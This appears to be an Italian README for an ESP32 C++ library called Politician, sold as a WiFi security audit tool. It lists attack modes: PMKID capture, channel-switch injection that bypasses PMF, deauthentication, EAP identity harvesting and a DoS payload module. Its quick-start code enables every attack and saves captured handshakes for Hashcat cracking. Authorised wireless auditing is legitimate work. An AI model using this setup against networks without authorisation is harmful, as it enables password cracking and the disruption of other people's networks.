Politician

Una libreria sofisticata per l'audit WiFi su microcontrollori ESP32

Politician è una libreria C++ embedded progettata per l'audit di sicurezza WiFi su piattaforme ESP32. Fornisce un'API pulita e moderna per catturare handshake WPA/WPA2/WPA3 e raccogliere credenziali enterprise utilizzando tecniche avanzate del protocollo 802.11.

Funzionalità principali

• Cattura PMKID: Estrae PMKID dalle risposte di associazione senza disconnessione del client
• Iniezione CSA (Channel Switch Announcement): Alternativa moderna agli attacchi di deautenticazione
• Raccolta di credenziali Enterprise: Cattura frame EAP-Identity da reti 802.1X
• Scoperta di reti nascoste: Decloaking automatico dell'SSID tramite intercettazione di probe response
• Fingerprinting dei dispositivi: Identifica passivamente oltre 150 marche di dispositivi IoT/smart home tramite firme MAC OUI e IE senza associazione alla rete
• Stimolazione dei client: Risveglia dispositivi mobili in sospensione usando frame QoS Null Data
• Rilevamento WPA3/PMF: Filtraggio intelligente per saltare reti con Protected Management Frame abilitati
• Formati di esportazione: File di cattura PCAPNG; esportazione opzionale in testo HC22000 per ingestione diretta in Hashcat

Architettura

La libreria è costruita attorno a una macchina a stati non bloccante che gestisce il channel hopping, la selezione del target, l'esecuzione dell'attacco e l'elaborazione delle catture. Tutte le operazioni sono contenute nel namespace politician.

Componenti principali

Componente	Descrizione
Politician	Classe motore principale che gestisce il ciclo di vita dell'audit
PoliticianFormat	Serializzazione delle catture PCAPNG; esportazione ausiliaria in testo HC22000
PoliticianStorage	Registrazione opzionale su scheda SD e persistenza NVS
PoliticianStress	Consegna di payload DoS/disruption disaccoppiata (opt-in)
PoliticianTypes	Strutture dati e enumerazioni principali

Modalità di attacco

Gli attacchi di deautenticazione tradizionali sono inefficaci contro le moderne reti WPA3 e WPA2 con Protected Management Frames (PMF/802.11w). Politician implementa alternative moderne:

Modalità	Descrizione	Efficacia
ATTACK_PMKID	Estrae PMKID tramite autenticazione fittizia	Funziona su tutti WPA2/WPA3-Transition
ATTACK_CSA	Iniezione di Channel Switch Announcement	Bypassa le protezioni PMF
ATTACK_DEAUTH	Deautenticazione legacy (Motivo 7)	Solo WPA2 senza PMF
ATTACK_STIMULATE	QoS Null Data per client in sospensione	Risveglio client non intrusivo
ATTACK_PASSIVE	Solo ascolto	Zero trasmissioni
ATTACK_ALL	Abilita tutti i vettori di attacco attivi	Massima aggressività

Installazione

PlatformIO

Aggiungi al tuo platformio.ini:```ini [env:myboard] platform = espressif32 board = esp32dev framework = arduino lib_deps = Politician

O clona direttamente nella directory `lib/` del tuo progetto:```bash
cd lib/
git clone https://github.com/0ldev/Politician.git

Arduino IDE

1. Scarica la libreria come file ZIP
2. In Arduino IDE: Schizzo → Includi libreria → Aggiungi libreria .ZIP
3. Seleziona il file ZIP scaricato

ESP-IDF

Clona il repository nella directory components/ del tuo progetto:```bash cd components/ git clone https://github.com/0ldev/Politician.git

Crea un descrittore del componente `components/Politician/CMakeLists.txt`:```cmake
idf_component_register(
    SRCS
        "src/Politician.cpp"
        "src/PoliticianFormat.cpp"
        "src/PoliticianStress.cpp"
    INCLUDE_DIRS "src"
)

PoliticianStorage.h non è disponibile sotto ESP-IDF — emette un #error in fase di compilazione se incluso al di fuori di Arduino. Usa direttamente le API VFS e nvs_flash di ESP-IDF per qualsiasi persistenza di cui hai bisogno.

Inizio Veloce

Cattura Base dell'Handshake```cpp

#include <Arduino.h> #include <SD.h> #include <Politician.h> #include <PoliticianStorage.h>

using namespace politician; using namespace politician::storage;

Politician engine;

void onHandshake(const HandshakeRecord &rec) { Serial.printf("\n[✓] Captured: %s ch%d rssi=%d type=%d\n", rec.ssid, rec.channel, rec.rssi, rec.type); // Primary output: PCAPNG — open in Wireshark or convert with hcxpcapngtool PcapngFileLogger::append(SD, "/captures.pcapng", rec); }

void setup() { Serial.begin(115200); SD.begin();

engine.setEapolCallback(onHandshake);

Config cfg;
engine.begin(cfg);
engine.setAttackMask(ATTACK_ALL);

}

void loop() { engine.tick(); }

### Avvio rapido con ESP-IDF bare

In ESP-IDF, `begin()` chiama internamente `esp_wifi_init()` ma si aspetta che NVS e il loop di eventi predefinito siano già inizializzati. Chiama quelli prima di `begin()`, poi guida il motore da un task FreeRTOS.```cpp
#include <nvs_flash.h>
#include <esp_event.h>
#include <freertos/FreeRTOS.h>
#include <freertos/task.h>
#include <Politician.h>

using namespace politician;

static Politician engine;

static void on_handshake(const HandshakeRecord &rec) {
    printf("[+] Captured: %s  ch%d  rssi=%d  type=%d\n",
           rec.ssid, rec.channel, rec.rssi, rec.type);
}

static void audit_task(void *) {
    Config cfg;
    engine.setEapolCallback(on_handshake);

    if (engine.begin(cfg) != OK) {
        printf("[!] WiFi init failed\n");
        vTaskDelete(nullptr);
        return;
    }

    engine.setAttackMask(ATTACK_ALL);

    for (;;) {
        engine.tick();
        vTaskDelay(pdMS_TO_TICKS(1));
    }
}

extern "C" void app_main(void) {
    nvs_flash_init();
    esp_event_loop_create_default();

    xTaskCreate(audit_task, "politician", 8192, nullptr, 5, nullptr);
}

Riferimento API

Classe Politician

La classe principale del motore. Deve chiamare tick() nel tuo loop principale.

Inizializzazione```cpp

Error begin(const Config& cfg = Config());

Inizializza il motore. Restituisce `OK` in caso di successo o un codice `Error` in caso di fallimento. Deve essere chiamato prima di qualsiasi altro metodo.